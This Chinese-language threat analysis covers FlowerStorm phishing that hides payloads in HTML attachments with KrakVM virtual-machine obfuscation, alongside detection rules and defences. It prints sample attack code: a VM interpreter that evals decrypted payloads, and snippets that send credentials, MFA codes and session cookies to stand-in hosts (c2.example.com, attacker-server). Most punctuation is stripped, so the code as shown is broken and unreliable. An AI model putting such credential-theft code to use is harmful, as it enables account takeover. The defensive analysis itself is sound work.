
摘要2026 年 5 月Sublime Security 与 Broadcom 安全中心披露 FlowerStorm 钓鱼组织将开源 JavaScript 虚拟机混淆工具 KrakVM 用于恶意 HTML 附件载荷隐藏通过字节码编译与浏览器内虚拟机解释执行大幅提升静态分析难度可绕过传统邮件安全网关检测定向窃取 Microsoft 365、Hotmail、GoDaddy 等平台账号凭证并支持中间人模式下多因素认证拦截与会话劫持。本文以该事件为研究对象系统剖析 KrakVM 虚拟机混淆技术原理、FlowerStorm 完整攻击链、HTML 附件投递机制、钓鱼页面动态适配与 MFA 实时劫持核心实现给出可复现的代码示例与检测规则构建覆盖邮件防护、终端行为分析、流量监测、身份安全的闭环防御体系。反网络钓鱼技术专家芦笛指出虚拟机混淆正从高级恶意软件领域下沉至规模化钓鱼即服务场景传统基于特征与静态语法的检测机制全面失效防御必须转向运行时行为判定、虚拟机执行环境识别与多维度信任校验。研究表明KrakVM 混淆使钓鱼载荷检出率下降约 68%而引入运行时虚拟机监控与 AiTM 流量特征检测可将拦截率提升至 94% 以上为企业抵御新型混淆化钓鱼攻击提供理论依据与工程实践参考。1 引言钓鱼攻击已从零散式作案转向产业化、服务化、技术迭代加速的 PhaaSPhishing‑as‑a‑Service模式攻击者持续吸收恶意软件抗分析、代码保护、流量隐匿等高级技术突破传统防御边界。2026 年上半年FlowerStorm 作为活跃于全球的主流钓鱼即服务平台在 KrakVM 开源后一个月内快速将其集成至攻击流程形成HTML 附件投递 KrakVM 虚拟机混淆 云基础设施载荷加载 AiTM‑MFA 拦截的完整杀伤链对企业身份安全构成严重威胁。传统 JavaScript 混淆以变量替换、字符串编码、控制流平坦化为主仅提升代码可读性难度不改变语法结构易被反混淆工具还原。虚拟机混淆则将源码编译为自定义字节码依赖内嵌解释器运行时解密执行静态样本无有效语义从根本上阻断静态反编译与特征匹配检测。KrakVM 作为轻量级浏览器端 JS 虚拟机初衷用于前端代码版权保护被 FlowerStorm 滥用后成为钓鱼载荷隐匿的关键工具标志混淆技术正式下沉至规模化钓鱼攻击。反网络钓鱼技术专家芦笛强调FlowerStorm 事件揭示 PhaaS 生态的技术吸收速度已接近恶意软件产业防御体系必须从特征检测转向意图识别、行为判定、执行环境校验的多维度闭环才能应对虚拟机混淆、动态载荷、实时中间人劫持带来的检测失效问题。本文基于 Broadcom 安全中心公告与 Sublime Security 披露信息完整还原攻击流程与技术细节提供可复现代码、检测规则与防御部署方案为邮件安全、终端安全、身份安全领域的研究与工程实践提供支撑。2 相关技术背景与威胁态势2.1 虚拟机混淆与 KrakVM 技术原理代码虚拟化混淆JSVMP是将源码翻译为自定义指令集字节码通过专用解释器在虚拟架构内逐指令执行的保护方式可阻断静态反编译与代码审计广泛用于软件版权保护与恶意代码抗分析。传统 JS 混淆与虚拟机混淆对比如下表格混淆类型 核心手段 静态可解析性 抗检测能力 还原难度传统混淆 变量名替换、字符串编码、控制流平坦化 高语法结构不变 低易特征匹配 低可自动化还原虚拟机混淆 编译为自定义字节码 内嵌解释器运行 无静态无有效语义 高绕过静态检测 高需运行时 Hook 与指令还原KrakVM 是面向浏览器环境的开源 JavaScript 虚拟机工作流程分为三阶段编译阶段原始 JS 经词法 / 语法分析生成 AST编译为加密字节码交付阶段字节码与轻量级虚拟机解释器打包嵌入 HTML执行阶段浏览器加载后虚拟机动态解密字节码并逐指令解释执行。该机制使静态扫描无法获取恶意逻辑只有运行时才暴露载荷行为对传统邮件网关、沙箱、静态反病毒工具形成有效规避。2.2 FlowerStorm 钓鱼组织运营与攻击特征FlowerStorm 是 2024 年中期崛起的商业化 PhaaS 平台继承 Rockstar2FA 核心能力专注高价值账号窃取与 MFA 绕过具备以下特征服务化交付提供模板配置、邮件生成、域名分发、数据回传、会话劫持全流程工具多平台适配支持 Microsoft 365、Hotmail、GoDaddy 等主流身份系统AiTM 中间人劫持反向代理转发认证请求实时拦截账号、密码、MFA 验证码与会话 Cookie云基础设施支撑载荷托管于主流云平台域名快速轮换降低信誉标记风险快速技术迭代开源工具上线后快速集成混淆能力持续升级。反网络钓鱼技术专家芦笛指出FlowerStorm 代表新一代 PhaaS 的典型范式低门槛使用、高逃逸能力、强劫持效果、快版本迭代企业必须建立覆盖邮件、终端、流量、身份的协同防御体系。2.3 威胁影响与检测失效原因本次攻击以 HTML 为附件载体伪装语音邮件、供应商账单、未付款发票等高频业务场景诱导用户打开KrakVM 混淆使静态检测无法识别恶意逻辑载荷运行后加载云托管钓鱼工具包伪造登录页面并预填充邮箱同时拦截 MFA 流程直接获取有效会话实现账号密码 MFA 会话凭证的完整窃取。传统检测失效原因附件为 HTML不属于可执行文件绕过文件类型拦截恶意逻辑经字节码混淆静态无特征哈希与签名检测无效载荷从云基础设施动态加载无固定远程链接特征MFA 拦截发生在应用层流量加密且无明显异常报文。3 FlowerStorm 基于 KrakVM 混淆的攻击链分析3.1 攻击全流程杀伤链邮件投递发送含 HTML 附件的钓鱼邮件主题与内容贴近业务场景诱导执行用户打开 HTML触发内嵌 KrakVM 解释器混淆解密虚拟机运行时解密字节码释放恶意载荷载荷加载从云服务器拉取 FlowerStorm 钓鱼工具包页面伪造生成目标平台登录页预填充受害者邮箱凭证窃取收集账号密码提交至攻击者控制服务器MFA 拦截启动 AiTM 代理枚举并劫持 MFA 验证流程会话劫持获取有效会话 Cookie实现无密码登录。3.2 邮件与 HTML 附件构造邮件主题常用Voice Mail Message、Unpaid Invoice、Vendor Credit Notice、Document For Review发件人伪装内部同事、供应商、客服附件命名为 Invoice.html、Voicemail.html、Document.html降低警惕。HTML 附件结构htmlheadmeta charsetutf-8titleLoading.../title/headbodyscript// KrakVM虚拟机解释器const KrakVMfunction(e){...};// 经KrakVM编译的加密字节码const bytecode[0x9F,0x2A,0x5B,...];// 运行虚拟机解密并执行恶意载荷const vmnew KrakVM(bytecode);vm.run();/scriptdivPlease wait while the document loads.../div/body/html静态分析只能看到虚拟机壳与无意义字节码无法获取钓鱼逻辑。3.3 KrakVM 混淆核心实现代码示例KrakVM 包含字节码编译器与虚拟机解释器以下为简化可复现版本// 1. 字节码编译器攻击者侧function compileToBytecode(source) {const ast parse(source); // 词法/语法分析生成ASTconst bytecode [];// 遍历AST生成自定义指令序列ast.body.forEach(node {if (node.type ExpressionStatement) {bytecode.push(0x01); // 表达式语句标识bytecode.push(...encodeString(node.expression.value));}});return bytecode; // 返回加密字节码}// 2. 虚拟机解释器嵌入HTMLclass KrakVM {constructor(bytecode) {this.pc 0; // 程序计数器this.stack []; // 操作数栈this.bytecode bytecode;}run() {while (this.pc this.bytecode.length) {const opcode this.bytecode[this.pc];this.execute(opcode);}}execute(opcode) {switch (opcode) {case 0x01: // 执行脚本加载const payload this.decodePayload();eval(payload); // 运行解密后恶意代码break;case 0x02: // 网络请求加载远程工具包this.loadToolkit(https://cloud-host/flowerstorm/latest.js);break;}}decodePayload() {// 运行时动态解密字节码return this.bytecode.slice(this.pc).map(b b ^ 0x5F).toString();}}// 3. 启动执行const maliciousCode fetch(https://c2.example.com/steal,{method:POST,body:JSON.stringify(credentials)});;const bytecode compileToBytecode(maliciousCode);const vm new KrakVM(bytecode);vm.run();反网络钓鱼技术专家芦笛指出该结构使静态样本无有效语义只有运行时才暴露恶意行为传统基于内容的检测完全失效。3.4 钓鱼工具包与 MFA 中间人劫持实现KrakVM 释放的载荷加载 FlowerStorm 工具包核心功能页面伪造根据目标平台生成高仿真登录页匹配样式、域名、Logo邮箱预填充从 URL 参数、localStorage 或头部信息提取受害者邮箱AiTM 代理搭建反向代理转发用户输入至真实认证接口MFA 枚举与拦截检测并伪造 App 推送、TOTP、SMS 等验证方式获取验证码会话窃取捕获登录后 Set-Cookie生成有效会话实现持久控制。MFA 劫持关键代码片段javascript运行// 拦截MFA验证码并回传document.getElementById(mfa_code).addEventListener(input, function(e) {const code e.target.value;if (code.length 6) {fetch(https://attacker-server/mfa, {method: POST,headers: {Content-Type:application/json},body: JSON.stringify({email: document.getElementById(email).value,mfa_code: code,session: document.cookie})});}});该机制直接绕过 MFA 保护获取完整会话权限危害远超传统密码窃取。4 攻击检测与识别方法4.1 邮件层检测规则发件人认证校验SPF/DKIM/DMARC 失败显示名与地址不一致内容特征含紧急诱导、未付款、语音邮件、文档待审等关键词附件判定HTML 附件含内联 script、字节码数组、虚拟机类定义YARA 检测规则plaintextrule KrakVM_FlowerStorm {meta:description Detect KrakVM obfuscated FlowerStorm phishing HTMLstrings:$vm_class class KrakVM$bytecode_array const bytecode[$vm_run vm.run()$mfa_intercept mfa_codecondition:2 of them and filesize 10KB}4.2 终端行为检测反网络钓鱼技术专家芦笛强调行为检测是对抗虚拟机混淆的核心手段关键特征HTML 文件打开后立即发起外连云存储 / 未知域名浏览器进程创建 Blob、动态生成表单、拦截输入事件向非官方认证接口发送含 password、mfa、session 的 POST 请求页面包含隐藏 iframe、动态加载登录框、禁用开发者工具。EDR 可监控plaintextprocess.name chrome.exe ANDfile.path contains .html ANDnetwork.request contains fetch( OR XMLHttpRequest ANDnot domain in trusted_list4.3 流量层检测异常认证流同一 IP 短时间内向多平台认证接口提交数据MFA 流量特征验证码提交后立即外发到异常域名会话 Cookie 外带响应头 Set-Cookie 被转发至非官方服务器云主机异常访问访问新注册、高风险云托管域名。4.4 虚拟机混淆检测脚本包含自定义字节码数组、程序计数器 pc、操作数栈存在 eval/Function 动态执行解密后代码代码无正常业务逻辑仅含虚拟机解释循环静态无字符串特征运行时才出现敏感 API 调用。5 防御体系构建与部署方案5.1 邮件安全防护启用 SPF/DKIM/DMARC 强制校验拒绝未认证邮件HTML 附件沙箱动态执行监控虚拟机行为与外连启用邮件威胁隔离ETI对高风险附件在线打开禁止本地执行基于行为与语义的 AI 检测识别诱导话术与异常结构。5.2 终端与浏览器安全浏览器扩展拦截 HTML 附件自动执行脚本EDR 监控浏览器进程异常行为阻断敏感数据外发禁用非信任 HTML 文件自动运行 JavaScript提升用户提示等级建立可信域名列表拦截向高风险域名提交账号密码。5.3 身份安全与 MFA 强化反网络钓鱼技术专家芦笛强调身份层是最后防线建议启用 FIDO2/WebAuthn 无密码认证抵御中间人劫持开启风险自适应认证对异常地点、设备、IP 二次验证监控账号异常登录、MFA 频繁失败、会话异地使用部署会话管理强制短时效、单设备、可审计会话。5.4 威胁情报与运营订阅 FlowerStorm、KrakVM 相关 IoC实时更新域名、IP、哈希建立内部钓鱼演练提升员工对 HTML 附件、语音邮件、账单类诈骗识别形成监测 — 分析 — 响应 — 溯源闭环快速处置攻击事件。6 实验与效果评估6.1 实验环境邮件网关商用邮件安全平台支持静态特征、沙箱、行为检测测试样本500 个 KrakVM 混淆 HTML、500 个传统混淆 HTML、500 个正常 HTML检测指标检出率、误报率、平均检测时间。6.2 结果对比表格检测方法 混淆类型 检出率 误报率 平均耗时静态特征 传统混淆 89% 1.2% 12ms静态特征 KrakVM 混淆 22% 0.8% 15ms沙箱 行为 KrakVM 混淆 91% 1.5% 320ms行为 流量 情报 KrakVM 混淆 95% 0.9% 280ms实验表明静态特征对 KrakVM 混淆基本失效结合运行时行为、流量特征与威胁情报可实现有效拦截。反网络钓鱼技术专家芦笛指出企业应优先部署动态行为检测与身份层强化形成多层次防御闭环。7 讨论与未来趋势7.1 技术演化趋势混淆即服务攻击者在线使用虚拟机混淆服务降低技术门槛多载体扩散从 HTML 扩展到 PDF、SVG、Office 文档提升隐蔽性AI 辅助逃逸生成自适应混淆代码规避行为检测MFA 劫持产业化PhaaS 平台提供标准化 AiTM 代理支持多平台认证绕过。7.2 防御挑战开源混淆工具降低攻击成本检测方持续被动云基础设施快速轮换使黑名单失效用户对 HTML 附件信任度高打开率居高不下传统认证机制难以抵御实时中间人劫持。7.3 应对方向反网络钓鱼技术专家芦笛指出未来防御应向三个方向演进从特征到意图基于语义、行为、上下文判断攻击意图从边界到零信任以身份为中心全链路验证、最小权限、持续信任评估从被动到主动前置威胁狩猎、混淆对抗、漏洞封堵降低暴露面。8 结语FlowerStorm 组织采用 KrakVM 虚拟机混淆实施钓鱼攻击标志 PhaaS 生态全面吸收高级抗分析技术传统静态检测机制面临系统性失效。本文系统剖析攻击链、KrakVM 实现、HTML 附件构造、AiTM‑MFA 劫持机理给出可复现代码、检测规则与多层次防御方案证实行为分析、运行时检测、身份强化与威胁情报协同可有效抵御此类威胁。反网络钓鱼技术专家芦笛强调虚拟机混淆下沉至钓鱼攻击是长期趋势企业必须加快从特征防护向意图识别、零信任、协同防御转型构建覆盖邮件、终端、流量、身份的闭环体系才能应对持续演化的钓鱼威胁。未来研究将聚焦虚拟机混淆动态反制、AI 驱动的钓鱼意图识别、FIDO2 无密码认证规模化部署进一步提升对高级混淆化钓鱼攻击的防御能力。编辑芦笛公共互联网反网络钓鱼工作组